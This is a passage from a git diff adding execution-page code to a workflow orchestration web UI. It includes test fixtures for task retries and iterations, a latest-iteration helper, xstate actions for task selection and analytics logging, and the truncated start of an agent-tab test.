"cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "5abb8637-cfab-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 4, + seq: 5, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "878bd848-cfab-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 5, + seq: 6, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "f7355aed-cfab-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 6, + seq: 7, + pollCount: 1, + taskDefName: "get_random_fact", + workflowType: "check_najeeb", + taskId: "c106da20-cfac-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 7, + seq: 8, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "c4c19831-cfac-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, +]; + +const TASK_LIST_WITH_RETRY_EXPECTED_RESULT = { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 7, + seq: 8, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "c4c19831-cfac-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, +}; + +const TASK_LIST_WITH_ITERATION_AND_RETRY = [ + { + taskType: "DO_WHILE", + status: "CANCELED", + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 1, + taskDefName: "do_while", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "aa710921-cfd2-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + type: "DO_WHILE", + }, + iteration: 3, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__1", + retryCount: 0, + seq: 2, + pollCount: 1, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "aa717e52-cfd2-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 1, + }, + { + taskType: "WAIT", + status: "COMPLETED", + referenceTaskName: "wait_ref__1", + retryCount: 0, + seq: 3, + taskDefName: "wait", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "aa849123-cfd2-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + outputData: {}, + workflowTask: { + name: "wait", + taskReferenceName: "wait_ref", + type: "WAIT", + }, + iteration: 1, + }, + { + taskType: "HTTP", + status: "COMPLETED", + referenceTaskName: "http_ref__2", + retryCount: 0, + seq: 4, + pollCount: 1, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "ad8463a4-cfd2-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 2, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__1", + retryCount: 5, + seq: 13, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "4d44f049-cfd9-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 1, + }, + { + taskType: "HTTP", + status: "COMPLETED", + referenceTaskName: "http_ref__1", + retryCount: 6, + seq: 14, + pollCount: 1, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "ce5c1e6c-cfd9-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 1, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 1, + seq: 15, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "9d8b67e7-cfdb-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 2, + seq: 16, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "229ad252-cfdc-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 3, + seq: 17, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "824358d9-cfdc-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 4, + seq: 18, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "334a1a70-cfdd-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, + }, + { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 5, + seq: 19, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "7bff3b62-cfdd-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, + }, +]; +const TASK_LIST_WITH_ITERATIONS_AND_RETRY_EXPECTED_RESULT = { + taskType: "HTTP", + status: "CANCELED", + referenceTaskName: "http_ref__3", + retryCount: 5, + seq: 19, + taskDefName: "http", + workflowInstanceId: "aa7045d0-cfd2-11ee-b3bf-0e83e96d9c97", + workflowType: "najeeb_dowhile_iteration_test", + taskId: "7bff3b62-cfdd-11ee-b3bf-0e83e96d9c97", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + }, + iteration: 3, +}; + +describe("taskWithLatestIteration", () => { + it("return task executed latest - task list with iterations", () => { + const result = taskWithLatestIteration( + TASK_LIST_WITH_ITERATION as any, + "sub_workflow_packet_ref", + ); + expect(result).toEqual(TASK_LIST_WITH_ITERATION_EXPECTED_RESULT); + }); + it("return task executed latest - task list with retry", () => { + const result = taskWithLatestIteration( + TASK_LIST_WITH_RETRY as any, + "get_random_fact", + ); + expect(result).toEqual(TASK_LIST_WITH_RETRY_EXPECTED_RESULT); + }); + + it("return task executed latest - task list with iterations + retry", () => { + const result = taskWithLatestIteration( + TASK_LIST_WITH_ITERATION_AND_RETRY as any, + "http_ref__3", + ); + expect(result).toEqual(TASK_LIST_WITH_ITERATIONS_AND_RETRY_EXPECTED_RESULT); + }); +}); diff --git a/ui-next/src/pages/execution/helpers.ts b/ui-next/src/pages/execution/helpers.ts new file mode 100644 index 0000000..709fa4e --- /dev/null +++ b/ui-next/src/pages/execution/helpers.ts @@ -0,0 +1,78 @@ +import { ExecutionTask, WorkflowExecution } from "types/Execution"; +import _nth from "lodash/nth"; +import { StatusMap } from "./state/StatusMapTypes"; +type SeqResult = { + seqNumber: number; + idx: number; +}; + +/** + * Whether a workflow execution is an AgentSpan-compiled agent run (carries + * the `agentDef`/`agent_sdk` metadata stamp on its workflow definition), as + * opposed to a plain Conductor workflow. Drives: which tab the execution page + * defaults to, which sidebar nav item stays highlighted, and which route + * (/execution/:id vs /agentExecutions/:id) an execution's detail view lives at. + */ +export function isAgentWorkflowExecution( + execution: Pick | undefined | null, +): boolean { + const metadata = execution?.workflowDefinition?.metadata as + | Record + | undefined; + return ( + !!metadata && (metadata.agentDef != null || metadata.agent_sdk != null) + ); +} + +export const taskWithLatestIteration = ( + tasksList: ExecutionTask[] = [], + taskReferenceName = "", + taskId?: string, +) => { + const filteredTasks = tasksList.filter( + (task) => + task.workflowTask.taskReferenceName === taskReferenceName || + task.taskId === taskId || + task.referenceTaskName === taskReferenceName, + ); + + if (filteredTasks && filteredTasks.length === 1) { + // task without any retry/iteration + return _nth(filteredTasks, 0); + } else if (filteredTasks && filteredTasks.length > 1) { + const result = filteredTasks.reduce( + (acc: SeqResult, task, idx) => { + if (task.seq && acc.seqNumber < Number(task.seq)) { + return { seqNumber: Number(task.seq), idx }; + } + return acc; + }, + { seqNumber: 0, idx: -1 }, + ); + + if (result.idx > -1) { + return _nth(filteredTasks, result.idx); + } + } + return undefined; +}; + +export function findTaskFromExecutionStatusMapById( + mapObject: StatusMap, + id: string | null, +) { + const keys = Object.keys(mapObject); + + for (const key of keys) { + const item = mapObject[key]; + if (item?.taskId === id) { + return item; + } + const found = item?.loopOver?.find((loopItem) => loopItem?.taskId === id); + if (found) { + return found; + } + } + + return null; // return null if not found +} diff --git a/ui-next/src/pages/execution/index.ts b/ui-next/src/pages/execution/index.ts new file mode 100644 index 0000000..a86d613 --- /dev/null +++ b/ui-next/src/pages/execution/index.ts @@ -0,0 +1,3 @@ +import { UpdateTaskStatusForm } from "./UpdateTaskStatusForm"; + +export { UpdateTaskStatusForm }; diff --git a/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionContext.tsx b/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionContext.tsx new file mode 100644 index 0000000..ecb54a3 --- /dev/null +++ b/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionContext.tsx @@ -0,0 +1,8 @@ +import { createContext } from "react"; +import { FlowExecutionContextProviderProps } from "./types"; + +export const FlowExecutionContext = + createContext({ + onExpandDynamic: () => {}, + onCollapseDynamic: () => {}, + }); diff --git a/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionProvider.tsx b/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionProvider.tsx new file mode 100644 index 0000000..43f134f --- /dev/null +++ b/ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionProvider.tsx @@ -0,0 +1,11 @@ +import { FunctionComponent } from "react"; +import { FlowExecutionContext } from "./FlowExecutionContext"; +import { FlowExecutionContextProviderProps } from "./types"; + +export const FlowExecutionContextProvider: FunctionComponent< + FlowExecutionContextProviderProps +> = ({ children, onExpandDynamic, onCollapseDynamic }) => ( + + {children} + +); diff --git a/ui-next/src/pages/execution/state/FlowExecutionContext/index.ts b/ui-next/src/pages/execution/state/FlowExecutionContext/index.ts new file mode 100644 index 0000000..dbc8782 --- /dev/null +++ b/ui-next/src/pages/execution/state/FlowExecutionContext/index.ts @@ -0,0 +1,2 @@ +export * from "./FlowExecutionContext"; +export * from "./FlowExecutionProvider"; diff --git a/ui-next/src/pages/execution/state/FlowExecutionContext/types.ts b/ui-next/src/pages/execution/state/FlowExecutionContext/types.ts new file mode 100644 index 0000000..a45a39f --- /dev/null +++ b/ui-next/src/pages/execution/state/FlowExecutionContext/types.ts @@ -0,0 +1,7 @@ +import { ReactNode } from "react"; + +export interface FlowExecutionContextProviderProps { + onExpandDynamic: (name: string) => void; + onCollapseDynamic: (name: string) => void; + children?: ReactNode; +} diff --git a/ui-next/src/pages/execution/state/StatusMapTypes.ts b/ui-next/src/pages/execution/state/StatusMapTypes.ts new file mode 100644 index 0000000..b4c003d --- /dev/null +++ b/ui-next/src/pages/execution/state/StatusMapTypes.ts @@ -0,0 +1,14 @@ +import { ExecutionTask, TaskDef } from "types"; + +export interface DynamicForkRelations { + siblings: ExecutionTask[]; + parentTaskReferenceName: string; +} +export interface TypeStatusMap extends ExecutionTask { + loopOver: ExecutionTask[]; + related: DynamicForkRelations; + outputData?: Record; + parentLoop?: TaskDef; +} + +export type StatusMap = Record; diff --git a/ui-next/src/pages/execution/state/actions.ts b/ui-next/src/pages/execution/state/actions.ts new file mode 100644 index 0000000..fdd8523 --- /dev/null +++ b/ui-next/src/pages/execution/state/actions.ts @@ -0,0 +1,539 @@ +import { flowMachine } from "components/features/flow/state/machine"; +import { + FlowActionTypes, + FlowEvents, + ResetZoomPositionEvent, + SelectNodeEvent, + SelectTaskWithTaskRefEvent, + UpdateWfDefinitionEvent, +} from "components/features/flow/state/types"; +import { NodeData } from "reaflow"; +import { DoWhileSelection, Execution, ExecutionTask } from "types"; +import { flattenGtagObject, gtagAbstract } from "utils"; +import { + ActorRef, + assign, + DoneInvokeEvent, + forwardTo, + pure, + raise, + send, + sendTo, + spawn, +} from "xstate"; +import { RightPanelContextEventTypes, RightPanelEvents } from "../RightPanel"; +import { + findTaskFromExecutionStatusMapById, + taskWithLatestIteration, +} from "../helpers"; +import { executionToWorkflowDef } from "./executionMapper"; +import { + ChangeExecutionTabEvent, + ClearErrorEvent, + CollapseDynamicTaskEvent, + ErrorSeverity, + ExecutionActionTypes, + ExecutionMachineContext, + ExecutionTabs, + ExecutionUpdatedEvent, + ExpandDynamicTaskEvent, + FetchForLogsEvent, + MessageSeverity, + PersistErrorEvent, + SetDoWhileIterationEvent, + ToggleAssistantPanelEvent, + UpdateDurationEvent, + UpdateExecutionEvent, + UpdateSelectedTaskEvent, + UpdateVariablesEvent, +} from "./types"; + +const selectTaskByTaskReferenceName = ( + { execution }: ExecutionMachineContext, + taskReferenceName: string, +) => { + return taskWithLatestIteration(execution?.tasks, taskReferenceName); +}; + +const pendingTaskSelection = (task: any) => { + const result = { + ...task.executionData, + workflowTask: task, + }; + return result; +}; + +const executionToExecutionStatusExpand = ( + executionDef: any, + expandedDynamic: any, + doWhileSelection?: DoWhileSelection[], + selectedTask?: ExecutionTask, +) => { + const [workflowDefinition, executionStatusMap] = executionToWorkflowDef( + executionDef, + expandedDynamic, + doWhileSelection, + selectedTask, + ); + return { + execution: executionDef, + workflowDefinition, + executionStatusMap, + }; +}; + +export const updateExecution = assign< + ExecutionMachineContext, + DoneInvokeEvent +>((context, { data }) => { + const expandedExecution = executionToExecutionStatusExpand( + data, + context.expandedDynamic, + context.doWhileSelection, + ); + return expandedExecution; +}); + +export const updateExecutionMap = assign< + ExecutionMachineContext, + DoneInvokeEvent +>((context, _data) => { + const expandedExecution = executionToExecutionStatusExpand( + context.execution, + context.expandedDynamic, + context.doWhileSelection, + context.selectedTask, + ); + return expandedExecution; +}); + +export const instanciateFlow = assign({ + flowChild: (_ctx, _event) => spawn(flowMachine), +}); + +export const persistExecutionId = assign< + ExecutionMachineContext, + UpdateExecutionEvent +>({ + executionId: (__, { executionId }) => executionId, +}); + +export const sendResetZoomEventToFlow = sendTo< + ExecutionMachineContext, + ResetZoomPositionEvent, + ActorRef +>( + (context) => context.flowChild!, + () => { + return { + type: FlowActionTypes.RESET_ZOOM_POSITION, + }; + }, + { delay: 50 }, +); + +export const notifyFlowUpdates = send< + ExecutionMachineContext, + UpdateWfDefinitionEvent +>( + (ctx) => { + return { + type: FlowActionTypes.UPDATE_WF_DEFINITION_EVT, + workflow: ctx.workflowDefinition, + showPorts: false, + workflowExecutionStatus: ctx?.execution?.status, + }; + }, + { to: (context) => context.flowChild! }, +); +// Commenting out dont think we need this +/* export const selectNodeInFlow = send( */ +/* ({ selectedTask }) => { */ +/* return { */ +/* type: FlowActionTypes.SELECT_NODE_INTERNAL_EVT, */ +/* node: { id: selectedTask?.workflowTask?.taskReferenceName }, */ +/* }; */ +/* }, */ +/* { to: (context) => context.flowChild! } */ +/* ); */ + +export const nodeToTaskSelectionToPanel = send< + ExecutionMachineContext, + SelectNodeEvent +>( + (context, { node }) => { + // Always prefer the actual execution record — inner DO_WHILE tasks can + // have executionData.status === PENDING on the node even after the loop + // has fully completed, because the status-map entry tracks "next iteration + // to run". Using pendingTaskSelection in that case would show a stale + // PENDING status. Fall back to pendingTaskSelection only when no execution + // record exists yet (task truly hasn't been scheduled). + const fromExecution = selectTaskByTaskReferenceName( + context, + node?.data?.task?.taskReferenceName, + ); + const selectedTask = + fromExecution ?? pendingTaskSelection(node?.data?.task); + return { + type: RightPanelContextEventTypes.SET_SELECTED_TASK, + selectedTask, + }; + }, + { to: "#_internal" }, +); // maps the event to event. in the same cycle https://github.com/statelyai/xstate/discussions/1847 + +export const taskToTaskSelectionToPanel = send< + ExecutionMachineContext, + SelectTaskWithTaskRefEvent +>( + (context, { node, exactTaskRef }) => { + const maybeTask = + context?.executionStatusMap && context?.executionStatusMap[node.id]; + const selectedTask = maybeTask?.loopOver?.find( + (item) => item.referenceTaskName === exactTaskRef, + ); + + return { + type: RightPanelContextEventTypes.SET_SELECTED_TASK, + selectedTask, + }; + }, + { to: "#_internal" }, +); + +type WrappedErrorMessage = { + originalError: { status: number }; + errorDetails: { message: string }; +}; +export const assignError = assign< + ExecutionMachineContext, + DoneInvokeEvent +>({ + error: (context, { data: { originalError, errorDetails } }) => { + switch (originalError.status) { + case 403: + return { + severity: ErrorSeverity.ERROR, + text: "You don't have permission to execute this action", + }; + default: + return { + severity: ErrorSeverity.ERROR, + text: errorDetails.message, + }; + } + }, +}); + +export const persistFlowError = assign< + ExecutionMachineContext, + PersistErrorEvent +>({ error: (_, errorObject) => errorObject }); + +export const clearError = assign({ + error: (_context, _) => undefined, + message: (_context, _) => undefined, +}); + +export const addToExpandedDynamic = assign< + ExecutionMachineContext, + ExpandDynamicTaskEvent +>({ + expandedDynamic: ({ expandedDynamic }, { taskReferenceName }) => + expandedDynamic.concat(taskReferenceName), +}); + +export const removeFromExpandedDynamic = assign< + ExecutionMachineContext, + CollapseDynamicTaskEvent +>({ + expandedDynamic: ({ expandedDynamic }, { taskReferenceName }) => + expandedDynamic.filter((n) => n !== taskReferenceName), +}); + +export const updateWorkflowDefinition = assign( + ({ + execution, + expandedDynamic, + doWhileSelection, + selectedTask, + }: ExecutionMachineContext) => { + return executionToExecutionStatusExpand( + execution, + expandedDynamic, + doWhileSelection, + selectedTask, + ); + }, +); + +export const persistCurrentTab = assign< + ExecutionMachineContext, + ChangeExecutionTabEvent +>({ + currentTab: (_context, { tab }) => tab, +}); + +/** + * Keeps `context.currentTab` in sync when `initDiagram`'s `always` + * transitions land on the Agent Execution debugger tab as the *default* + * tab (no CHANGE_EXECUTION_TAB event involved, so `persistCurrentTab` + * — which reads `event.tab` — doesn't apply here). + */ +export const persistAgentExecutionTab = assign({ + currentTab: () => ExecutionTabs.AGENT_EXECUTION_TAB, +}); + +export const updateExecutionDuration = assign< + ExecutionMachineContext, + UpdateDurationEvent +>((__context, event) => { + return { + duration: event?.duration, + countdownType: event?.countdownType, + isDisabledCountdown: event?.isDisabled, + }; +}); + +export const gtagEventLogger = ( + context: ExecutionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, "event"); + const eventPrefix = `event_at_execution_${context?.executionId}_of_type_${event?.type}`; + gtagAbstract(eventPrefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowDefinition?.name, + user_performed_action: event?.type, + ...flattenEvent, + }); +}; +export const gtagErrorLogger = ( + context: ExecutionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, "event"); + const eventPrefix = `error_at_execution_${context?.executionId}_of_type_${event?.type}`; + gtagAbstract(eventPrefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowDefinition?.name, + user_performed_action: event?.type, + ...flattenEvent, + }); +}; +export const startRenderingGtag = ( + context: ExecutionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, `event`); + const prefix = `event_at_execution_${context?.executionId}_start_rendering_diagram_request`; + gtagAbstract(prefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowDefinition?.name, + user_performed_action: event?.type, + start_time: new Date().getTime(), + ...flattenEvent, + }); +}; + +export const finishRenderingGtag = ( + context: ExecutionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, `event`); + const prefix = `event_at_execution_${context?.executionId}_finish_rendering_diagram_request}`; + gtagAbstract(prefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowDefinition?.name, + user_performed_action: event?.type, + end_time: new Date().getTime(), + ...flattenEvent, + }); +}; + +export const fetchForLogs = send( + (_context, _event) => { + return { + type: ExecutionActionTypes.FETCH_FOR_LOGS, + }; + }, +); +export const sendUpdatedExecution = sendTo< + ExecutionMachineContext, + ExecutionUpdatedEvent, + ActorRef +>("rightPanelMachine", (context) => ({ + type: RightPanelContextEventTypes.SET_UPDATED_EXECUTION, + execution: context.execution!, + executionStatusMap: context.executionStatusMap!, +})); + +export const forwardSelectionToPanel = forwardTo("rightPanelMachine"); + +export const raiseExecutionUpdated = raise( + ExecutionActionTypes.EXECUTION_UPDATED, +); + +export const persistSuccessUpdateVariablesMessage = assign< + ExecutionMachineContext, + DoneInvokeEvent +>({ + message: (_context, _event) => { + return { + severity: MessageSeverity.SUCCESS, + text: "Variables updated successfully.", + }; + }, +}); + +export const persistDoWhileIteration = assign( + ( + { doWhileSelection }: ExecutionMachineContext, + { data }: SetDoWhileIterationEvent, + ) => { + const updatedDoWhileSelection = [...(doWhileSelection ?? [])]; + const index = doWhileSelection?.findIndex( + (item) => item.doWhileTaskReferenceName === data.doWhileTaskReferenceName, + ); + if (index != null && index !== -1) { + updatedDoWhileSelection[index] = data; + } else { + updatedDoWhileSelection.push(data); + } + return { + doWhileSelection: updatedDoWhileSelection, + }; + }, +); + +export const updateSelectedTask = assign( + (_context, data: UpdateSelectedTaskEvent) => { + return { + selectedTask: data.selectedTask, + }; + }, +); + +export const toggleAssistantPanel = assign< + ExecutionMachineContext, + ToggleAssistantPanelEvent +>({ + isAssistantPanelOpen: (context) => !context.isAssistantPanelOpen, +}); + +export const closeAssistantPanel = assign({ + isAssistantPanelOpen: () => false, +}); + +export const delayedNodeSelection = pure((ctx: ExecutionMachineContext) => { + const identifyNodeTobeSelected = ( + maybeSelectedTask?: ExecutionTask, + maybeSelectedNodeUsingTaskReference?: { id?: string }, + ) => { + const taskReferenceNameFromMaybeSelectedTask = + maybeSelectedTask?.workflowTask?.taskReferenceName; + const taskReferenceNameFromMaybeSelectedNodeUsingTaskReference = + maybeSelectedNodeUsingTaskReference?.id; + if ( + taskReferenceNameFromMaybeSelectedTask === + taskReferenceNameFromMaybeSelectedNodeUsingTaskReference + ) { + return { + nodeRef: taskReferenceNameFromMaybeSelectedTask, + exactTaskRef: maybeSelectedTask?.referenceTaskName, + }; + } else if (!maybeSelectedTask && maybeSelectedNodeUsingTaskReference) { + return { + nodeRef: taskReferenceNameFromMaybeSelectedNodeUsingTaskReference, + exactTaskRef: taskReferenceNameFromMaybeSelectedNodeUsingTaskReference, + }; + } else { + return { + nodeRef: taskReferenceNameFromMaybeSelectedTask, + exactTaskRef: maybeSelectedTask?.referenceTaskName, + }; + } + }; + let selectedTaskReferenceName = ctx.selectedTaskReferenceName; + if ( + ctx?.executionStatusMap && + (ctx?.selectedTaskId || ctx?.selectedTaskReferenceName) + ) { + const maybeSelectedTask = findTaskFromExecutionStatusMapById( + ctx?.executionStatusMap, + ctx?.selectedTaskId ?? "", + ); + + const { nodeRef, exactTaskRef } = identifyNodeTobeSelected( + maybeSelectedTask!, + { id: maybeSelectedTask?.workflowTask?.taskReferenceName }, + ); + if (exactTaskRef && nodeRef !== exactTaskRef) { + return [ + sendTo(ctx.flowChild!, { + type: FlowActionTypes.SELECT_TASK_WITH_TASK_REF, + node: { + id: maybeSelectedTask?.workflowTask?.taskReferenceName, + } as NodeData, + exactTaskRef, + }), + send((_context, _event) => { + return { + type: ExecutionActionTypes.UPDATE_QUERY_PARAM, + taskReferenceName: + maybeSelectedTask?.workflowTask?.taskReferenceName, + }; + }), + ]; + } + if (maybeSelectedTask) { + return [ + sendTo( + ctx.flowChild!, + { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: maybeSelectedTask?.workflowTask.taskReferenceName, + }, + }, + { + delay: 150, + id: "debounce_delayed_node_selection", + }, + ), + ]; + } + } + const selectedTask = + ctx.selectedTaskId && + ctx.execution?.tasks?.find((t) => t.taskId === ctx.selectedTaskId); + + // If reference name is not set, use the task id to get the reference name + if (!ctx.selectedTaskReferenceName && selectedTask) { + selectedTaskReferenceName = selectedTask.workflowTask.taskReferenceName; + } + + // This will prevent opening the right panel for wrong reference name + const selectedTaskExists = + (ctx.execution?.tasks ?? []).filter( + (t) => t.workflowTask.taskReferenceName === selectedTaskReferenceName, + ).length > 0; + + return selectedTaskExists + ? [ + sendTo( + ctx.flowChild!, + { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: selectedTaskReferenceName!, + }, + }, + { + delay: 150, + id: "debounce_delayed_node_selection", + }, + ), + ] + : []; +}); diff --git a/ui-next/src/pages/execution/state/agentDefaultTab.test.ts b/ui-next/src/pages/execution/state/agentDefaultTab.test.ts new file mode 100644 index 0000000..a517aa6 --- /dev/null +++ b/ui-next/src/pages/execution/state/agentDefaultTab.test.ts @@ -0,0 +1,97 @@ +import { interpret } from "xstate"; +import { executionMachine } from "./machine"; +import { ExecutionActionTypes, ExecutionTabs } from "./types"; +import { isAgentWorkflowExecution } from "./guards"; + +const agentExecution = { + workflowId: "237f23c8-2337-4174-823e-addbebee76ef", + workflowType: "classifier_greeter", + workflowName: "classifier_greeter", + status: "FAILED", + version: 1, + tasks: [], + input: {}, + output: {}, + startTime: 1, + endTime: 2, + workflowDefinition: { + name: "classifier_greeter", + version: 1, + tasks: [], + metadata: { + agent_capabilities: ["simple"], + agentDef: { name: "classifier_greeter" }, + agent_sdk: "conductor", + }, + }, +}; + +const plainExecution = { + ...agentExecution, + workflowType: "some_plain_workflow", + workflowName: "some_plain_workflow", + workflowDefinition: { + name: "some_plain_workflow", + version: 1, + tasks: [], + metadata: {}, + }, +}; + +/** Interprets the real executionMachine end-to-end with a mocked fetch, and + * resolves once the machine has settled into its parallel `init` state. */ +function landOnInitWith(execution: unknown) { + return new Promise<{ currentTab: ExecutionTabs }>((resolve) => { + const machine = executionMachine.withConfig({ + services: { + fetchExecution: async () 